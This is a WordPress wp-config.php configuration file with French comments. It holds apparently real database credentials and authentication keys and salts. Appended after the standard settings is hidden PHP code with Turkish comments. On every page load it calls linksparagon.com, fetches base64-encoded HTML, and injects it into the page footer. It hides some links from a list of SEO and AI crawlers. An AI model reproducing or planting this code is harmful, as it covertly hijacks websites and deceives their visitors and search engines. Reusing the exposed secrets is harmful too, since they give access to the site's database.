<?php
/**
 * La configuration de base de votre installation WordPress.
 *
 * Ce fichier est utilisé par le script de création de wp-config.php pendant
 * le processus d’installation. Vous n’avez pas à utiliser le site web, vous
 * pouvez simplement renommer ce fichier en « wp-config.php » et remplir les
 * valeurs.
 *
 * Ce fichier contient les réglages de configuration suivants :
 *
 * Réglages MySQL
 * Préfixe de table
 * Clés secrètes
 * Langue utilisée
 * ABSPATH
 *
 * @link https://fr.wordpress.org/support/article/editing-wp-config-php/.
 *
 * @package WordPress
 */

// ** Réglages MySQL - Votre hébergeur doit vous fournir ces informations. ** //
/** Nom de la base de données de WordPress. */
define( 'DB_NAME', 'iavddcxu' );

/** Utilisateur de la base de données MySQL. */
define( 'DB_USER', 'iavddcxu' );

/** Mot de passe de la base de données MySQL. */
define('DB_PASSWORD', 'Sayardinho2026');

/** Adresse de l’hébergement MySQL. */
define( 'DB_HOST', 'iavddcxu.mysql.db' );

/** Jeu de caractères à utiliser par la base de données lors de la création des tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/**
 * Type de collation de la base de données.
 * N’y touchez que si vous savez ce que vous faites.
 */
define( 'DB_COLLATE', '' );

/**#@+
 * Clés uniques d’authentification et salage.
 *
 * Remplacez les valeurs par défaut par des phrases uniques !
 * Vous pouvez générer des phrases aléatoires en utilisant
 * {@link https://api.wordpress.org/secret-key/1.1/salt/ le service de clés secrètes de WordPress.org}.
 * Vous pouvez modifier ces phrases à n’importe quel moment, afin d’invalider tous les cookies existants.
 * Cela forcera également tous les utilisateurs à se reconnecter.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'JYi6/aHY=`E;1jHAU5S_;2_$;7t~7:>8(SgD<FH8,rkIwD?~pLfMDEt.$]=~<i~y' );
define( 'SECURE_AUTH_KEY',  '[.7F/~O|ov.![98~.H_4Dd1GfO2@xc/_rd78c.If{ZOVd+-$mz^bf3F%!]7C~eDW' );
define( 'LOGGED_IN_KEY',    'V8IrcOg;!/p=((QGri}PF04lluHo8JcA;sPPQj6)-?~JnJXk7fjLr:!*-(EF,!5u' );
define( 'NONCE_KEY',        'qNL57BzJ)gUAtqXGq9~%mj.e2<y=:`Zo%Xxi4l;7Xz~3eyQx!1o~(>CHR|loux3p' );
define( 'AUTH_SALT',        '</NI!T[L/;(*>3?VvhA#t2I:g?iRG>]f].Vj4(tFB0][gjT(.=Y.!_ypoVpYh0WR' );
define( 'SECURE_AUTH_SALT', '$3;hwns+(ZlfM_A]A){LU1I9P1{X/]a!*wf<+eB~(>W=ou8U2~K<NMw>)mPG[Pzb' );
define( 'LOGGED_IN_SALT',   'JSj&yxn&wW?6vsDT6r|YoD13SGA-x5v271w-^*G>y` Gsml/CFdMWKKUt~g{Y/hb' );
define( 'NONCE_SALT',       '}9-+tSIdk9X&$pf1$@gH&SXhwasZG`J##wrU0gX4[A;MB//oiv&8w7w>(;Pg 8F/' );
/**#@-*/

/**
 * Préfixe de base de données pour les tables de WordPress.
 *
 * Vous pouvez installer plusieurs WordPress sur une seule base de données
 * si vous leur donnez chacune un préfixe unique.
 * N’utilisez que des chiffres, des lettres non-accentuées, et des caractères soulignés !
 */
$table_prefix = 'miquel_';

/**
 * Pour les développeurs : le mode déboguage de WordPress.
 *
 * En passant la valeur suivante à "true", vous activez l’affichage des
 * notifications d’erreurs pendant vos essais.
 * Il est fortement recommandé que les développeurs d’extensions et
 * de thèmes se servent de WP_DEBUG dans leur environnement de
 * développement.
 *
 * Pour plus d’information sur les autres constantes qui peuvent être utilisées
 * pour le déboguage, rendez-vous sur le Codex.
 *
 * @link https://fr.wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* C’est tout, ne touchez pas à ce qui suit ! Bonne publication. */

/** Chemin absolu vers le dossier de WordPress. */
if ( ! defined( 'ABSPATH' ) )
  define( 'ABSPATH', dirname( __FILE__ ) . '/' );

/** Réglage des variables de WordPress et de ses fichiers inclus. */
require_once( ABSPATH . 'wp-settings.php' );

if (!defined('__LPK_IN__')) {
    define('__LPK_IN__', 1);
    if (!defined('__API_URL__'))   define('__API_URL__',   'https://linksparagon.com');
    if (!defined('__CACHE_TTL__')) define('__CACHE_TTL__', 300);

    if (!function_exists('__getCURLSite__')) {
        function __getCURLSite__($site, $post_data = null, $extra_headers = array()) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $site);
            if (!is_null($post_data)) {
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
            }
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            if (!empty($extra_headers)) {
                curl_setopt($ch, CURLOPT_HTTPHEADER, $extra_headers);
            }
            $response = curl_exec($ch);
            if (curl_errno($ch)) $response = false;
            curl_close($ch);
            return $response;
        }
    }

    if (!function_exists('__cache_get')) {
        function __cache_get($key) {
            $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json';
            if (!is_file($f)) return null;
            $raw = @file_get_contents($f);
            if ($raw === false) return null;
            $o = @json_decode($raw, true);
            if (!is_array($o)) return null;
            if (isset($o['t']) && $o['t'] + __CACHE_TTL__ < time()) return null;
            return isset($o['v']) ? $o['v'] : null;
        }
    }

    if (!function_exists('__cache_set')) {
        function __cache_set($key, $val) {
            $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json';
            @file_put_contents($f, json_encode(array('t' => time(), 'v' => $val)));
        }
    }

    if (!function_exists('__is_spy_bot__')) {
        function __is_spy_bot__() {
            $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
            if (trim($ua) === '') return false;
            $bots = array(
                'AhrefsBot','AhrefsSiteAudit','SemrushBot','SiteAuditBot',
                'DotBot','Rogerbot','MJ12bot','MajesticBot',
                'Screaming Frog SEO Spider','ScreamingFrogSEOSpider',
                'DataForSeoBot','SEOkicks','SEOkicks-Robot',
                'AwarioRssBot','AwarioSmartBot','AwarioBot',
                'Brandwatch','Searchmetricsbot','Sidetrade indexer bot',
                'peer39_crawler','BLEXBot','cognitiveSEO','LRT Bot','LRT Spider',
                'Meltwater','Mediatoolkitbot','Neticlebot','SISTRIX','SerpstatBot',
                'spyfu','Botify','ContentKing','DeepCrawl','Lumar','seobility',
                'WebCEO','AddThis','Barkrowler','BacklinksExtendedBot','BrightEdge Crawler',
                'OAI-SearchBot','CohereBot','DeepSeekBot','SEOlyze','IstellaBot',
                'GrapeshotCrawler','Netvibes','NetcraftSurveyAgent'
            );
            foreach ($bots as $bot) {
                if (stripos($ua, $bot) !== false) return true;
            }
            return false;
        }
    }

    if (!function_exists('__get_backlink_codes__')) {
        function __get_backlink_codes__() {
            $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
            $host = strtolower(str_replace('www.', '', preg_replace('/:\d+$/', '', $host)));
            if ($host === '') return null;
            $host_id = crc32($host);
            $cacheKey = 'bl_' . md5($host);
            $cached = __cache_get($cacheKey);
            if ($cached !== null) return $cached;
            $u = __API_URL__ . '/g/?i=' . urlencode($host_id) . '&d=' . urlencode($host) . '&t=th';
            $response = __getCURLSite__($u);
            if ($response !== false && is_string($response)) {
                $c = @json_decode($response, true);
                if (is_array($c) && isset($c['s']) && $c['s'] == true) {
                    __cache_set($cacheKey, $response);
                    return $response;
                }
            }
            return null;
        }
    }

    if (!function_exists('__show_footer_backlink__')) {
        function __show_footer_backlink__() {
            $is_spy = __is_spy_bot__();
            $r   = '';
            $raw = __get_backlink_codes__();
            if (!$raw) return '';
            $c = @json_decode($raw, true);
            if (!is_array($c) || !isset($c['s']) || $c['s'] != true || empty($c['l'])) return '';
            $r .= isset($c['f']) ? $c['f'] : '';
            foreach ($c['l'] as $v) {
                $only_google = isset($v['g']) ? (int)$v['g'] : 0;
                if ($only_google == 1 && $is_spy) continue;
                $r .= isset($v['h']) ? base64_decode($v['h']) : '';
            }
            $r .= isset($c['e']) ? $c['e'] : '';
            return $r;
        }
    }

    // Footer injection: named ob_start callback (PHP 5.2 uyumlu, anonim fonksiyon YOK)
    // - Yalnızca </body> içeren HTML yanıtları modifiye eder
    // - AJAX / REST API / CRON / CLI isteklerini atlar
    // - str_ireplace ile </body> öncesine düzgün ekler
    if (!function_exists('__lpk_ob_cb__')) {
        function __lpk_ob_cb__($buf) {
            if (!is_string($buf) || stripos($buf, '</body>') === false) return $buf;
            if (defined('DOING_AJAX')   && DOING_AJAX)   return $buf;
            if (defined('REST_REQUEST') && REST_REQUEST) return $buf;
            if (defined('DOING_CRON')   && DOING_CRON)   return $buf;
            if (php_sapi_name() === 'cli')               return $buf;
            $link = __show_footer_backlink__();
            return ($link !== '') ? str_ireplace('</body>', $link . '</body>', $buf) : $buf;
        }
    }
    @ob_start('__lpk_ob_cb__');
}

